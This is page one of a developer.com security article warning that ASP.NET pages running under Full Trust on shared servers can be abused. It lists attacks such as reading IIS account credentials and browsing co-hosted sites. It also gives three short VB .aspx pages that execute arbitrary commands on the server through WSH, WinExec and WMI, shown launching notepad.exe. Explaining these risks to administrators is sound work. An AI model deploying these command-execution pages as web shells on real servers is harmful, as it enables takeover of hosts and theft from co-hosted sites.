developer.com
Search EarthWeb
CodeGuru | Gamelan | Jars | Wireless | Discussions
Navigate developer.com
Architecture & Design  
Database  
Java
Languages & Tools
Microsoft & .NET
Open Source  
Project Management  
Security  
Techniques  
Voice  
Web Services  
Wireless/Mobile
XML  
Technology Jobs  

   Developer.com Webcasts:
  The Impact of Coding Standards and Code Reviews

  Project Management for the Developer

  Defining Your Own Software Development Methodology

  more Webcasts...




See the Winners!


Developer Jobs

Be a Commerce Partner
Web Hosting Directory
KVM Switches
Imprinted Promotions
Memory Upgrades
PDA Phones & Cases
Condos For Sale
Career Education
Online Education
Memory
Data Center Solutions
Car Donations
Promotional Products
Boat Donations
Web Design

 
Biz Resources
Network Security Services
VoIP
CRM Software

Click Here
Developer News -
SaaS Tool Offers Custom Database Development    May 9, 2008
Microsoft’s Automated Agent: Can We Talk?    May 7, 2008
Borland Finally Sells CodeGear    May 7, 2008
Red Hat Heads For The JON 2.0    May 7, 2008
Free Tech Newsletter -

Best Practices for Developing a Web Site: Checklists, Tips, Strategies & More. Download Exclusive eBook Now.

ASP.NET's Hidden Dangers
By Dinis Cruz

Go to page: 1  2  Next  

ASP.NET is a powerful development platform and, compared to ASP Classic, it is a giant leap forward.

But, this extra power also brings new dangers. In ASP Classic, the damage caused by malicious code running on the server was somehow limited by the built-in limitations of the ASP Classic object model. In ASP.NET, due to the number of classes exposed by the .NET framework, malicious code has the potential to be much more damaging and dangerous.

Where Does the Malicious Code Come From?

The scenario that I describe in this article is one where a malicious user is able to execute ASP.NET scripts on your server, under a normal Web site application, configured to execute code with Full Trust.

Some examples of such scenarios include:

  • ISPs providing shared Hosting services
  • Companies that delegated Web page creation and editing (maybe even entire sub-sections of the main Web site) to internal staff
  • Universities that allow teachers to maintain their course information using FrontPage (each course is stored in a unique SubWeb)
  • Web development companies that host their client Web sites in their servers

Due to the limitations created by Partially Trusted environments in the current version of the .NET Framework, practically everybody is running their applications with Full Trust.

Full Trust Behaves like COM Objects

If you have been involved in developing COM objects for ASP Classic, you know how powerful they are. A COM object running IIS 5.0 will have access to huge sections of the Windows API (even if running with a low-privileged account).

That is why most ISPs and System Administrators would never allow the installation of third-party (in other words, created by you) COM objects in their servers. They would argue that the objects had high security risks and would reject such requests.

What you might not be aware of is that, due to the objects exposed by the .NET framework, any ASP.NET page behaves like a COM object and (if being executed in a Full Trust environment) will have direct access to the Windows API and several Internal Windows management tools such as WMI, ADSI, and LDAP.

Security Implications

Although most issues identified in this article are 'features' and not 'vulnerabilities,' from a security point of view they create threats that could be exploited by malicious users.

Some examples of what can be done from an ASP.NET page follow:

  • Upload programs (executables) to the server
  • Execute programs on the server using WSH (Windows Script Host), WinExec (direct Win32 API call), or WMI (Windows Management Instrumentation)
  • Call the RevertToSelf() API function, which will revert the identity of the worker process from the assigned one to the one defined in the Application pool used (in IIS 6.0)
  • Retrieve the IIS Anonymous' account details (usernames and passwords) from the Metabase
  • List the server's Usernames, running Processes, installed Services, existent Drives, and Shares
  • Use Reflection to bind (load and execute) PRIVATE .NET framework methods (basically every single class, public or private, that exists in the .NET framework can be executed)
  • Use Reflection to open (read) and bind (load and execute) assemblies from other co-hosted Web sites
  • Browse other co-hosted websites folders and read its files
  • Implement a server-based port scanner
  • Retrieve the Application and System Event logs
  • Run server-side Brute Force password attacks
  • Crash the server (Denial of Service attacks)
  • Etc, etc, etc....

With the power of the .NET framework, a malicious user is more limited by his imagination and programming skills than he/she is by ASP.NET (unless the sever is securely configured, which will remove some of these attack vectors).

Remote Execution of Commands on the Server

To give you an example, I will show you several methods to execute programs on the server:

  • WSH (Windows Script Host)
  • WinExec (direct Win32 API call)
  • WMI (Windows Management Instrumentation)

The examples provided are written in VB and the code should be self-explanatory. In future articles, I will provide more examples of what can be done with direct Win32 API functions and WMI.

These little examples will execute "Notepad.exe" on the server (confirm by checking the server's "Task Manager"). Of course, a malicious user would execute something a little bit more damaging.

WSH (Windows Script Host)

Create a file called "runCommandUsingWSH.aspx" with the following code:

<%@ Page Language="VB" aspcompat=true %>
<%
   runCommand("notepad.exe")
%>
<script runat=server>

   Public sub runCommand(commandToExecute)
      Dim objWSH = server.createObject("WSCRIPT.SHELL")
      objWSH.run (commandToExecute,0,True)
   End sub
</script>

WinExec (direct Win32 API call)

Create a file called "runCommandUsingWinExec.aspx" with the following code:

<%@ Page Language="VB" %>
<%
   runCommand("notepad.exe")
%>
<script runat="server">

      Declare Function WinExec lib "Kernel32" Alias "WinExec" _
        (ByVal lpCmdLine as String, ByVal nCmdShow as Long) as Long

   Public sub runCommand(commandToExecute)
      Dim errReturn
      errReturn = WinExec(commandToExecute,10)
   End sub

</script>

WMI (Windows Management Instrumentation)

Create a file called "runCommandUsingWMI.aspx" with the following code:

<%@ Page Language="VB" %>
<%
   runCommand("notepad.exe")
%>
<script runat=server>
   Public sub runCommand(commandToExecute)
      Dim winObj = GetObject ("winmgmts:{impersonationLevel= _
                               impersonate}!\\.\root\cimv2")
      Dim objStartup = winObj.Get("Win32_ProcessStartup")
      Dim objConfig = objStartup.SpawnInstance_
      objConfig.ShowWindow = 12
      Dim objProcess = getObject("winmgmts:root\ _
                                  cimv2:Win32_Process")
      Dim intProcessID
      Dim errReturn = objProcess.Create (commandToExecute, _
                      ,objConfig,intProcessID)
   End sub
</script>

Go to page: 1  2  Next  


Tools:
Add www.developer.com to your favorites
Add www.developer.com to your browser search box
IE 7 | Firefox 2.0 | Firefox 1.5.x
Receive news via our XML/RSS feed


ASP & ASP.NET Archives

Work With InterSystems. Not Separate Systems. Rapidly develop and deploy connectable applications.
Five Trends for Application Development. Download Your Complimentary Report. Exclusive. Act Now.
Guide to Developing a Web Site. Best Practices, Tips and Strategies. Download Exclusive eBook Now.
Flash Demo: Learn how IBM Information Server Blade is easy to manage, highly scalable and efficient.
Generate Complete .NET Web Apps in Minutes . Download Iron Speed Designer today.



JupiterOnlineMedia

internet.comearthweb.comDevx.commediabistro.comGraphics.com

Search:

Jupitermedia Corporation has two divisions: Jupiterimages and JupiterOnlineMedia

Jupitermedia Corporate Info


Legal Notices, Licensing, Reprints, & Permissions, Privacy Policy.

Advertise | Newsletters | Tech Jobs | Shopping | E-mail Offers

Solutions
Whitepapers and eBooks
Microsoft Article: HyperV-The Killer Feature in WinServer ‘08
Avaya Article: How to Feed Data into the Avaya Event Processor
Microsoft Article: Install What You Need with Win Server ‘08
HP eBook: Putting the Green into IT
Whitepaper: HP Integrated Citrix XenServer for HP ProLiant Servers
Intel Go Parallel Portal: Interview with C++ Guru Herb Sutter, Part 1
Intel Go Parallel Portal: Interview with C++ Guru Herb Sutter, Part 2--The Future of Concurrency
Avaya Article: Setting Up a SIP A/S Development Environment
IBM Article: How Cool Is Your Data Center?
Microsoft Article: Managing Virtual Machines with Microsoft System Center
HP eBook: Storage Networking , Part 1
Microsoft Article: Solving Data Center Complexity with Microsoft System Center Configuration Manager 2007
MORE WHITEPAPERS, EBOOKS, AND ARTICLES
Webcasts
Intel Video: Are Multi-core Processors Here to Stay?
On-Demand Webcast: Five Virtualization Trends to Watch
HP Video: Page Cost Calculator
Intel Video: APIs for Parallel Programming
HP Webcast: Storage Is Changing Fast - Be Ready or Be Left Behind
Microsoft Silverlight Video: Creating Fading Controls with Expression Design and Expression Blend 2
MORE WEBCASTS, PODCASTS, AND VIDEOS
Downloads and eKits
Sun Download: Solaris 8 Migration Assistant
Sybase Download: SQL Anywhere Developer Edition
Red Gate Download: SQL Backup Pro and free DBA Best Practices eBook
Red Gate Download: SQL Compare Pro 6
Iron Speed Designer Application Generator
MORE DOWNLOADS, EKITS, AND FREE TRIALS
Tutorials and Demos
How-to-Article: Preparing for Hyper-Threading Technology and Dual Core Technology
eTouch PDF: Conquering the Tyranny of E-Mail and Word Processors
IBM Article: Collaborating in the High-Performance Workplace
HP Demo: StorageWorks EVA4400
Intel Featured Algorhythm: Intel Threading Building Blocks--The Pipeline Class
Microsoft How-to Article: Get Going with Silverlight and Windows Live
MORE TUTORIALS, DEMOS AND STEP-BY-STEP GUIDES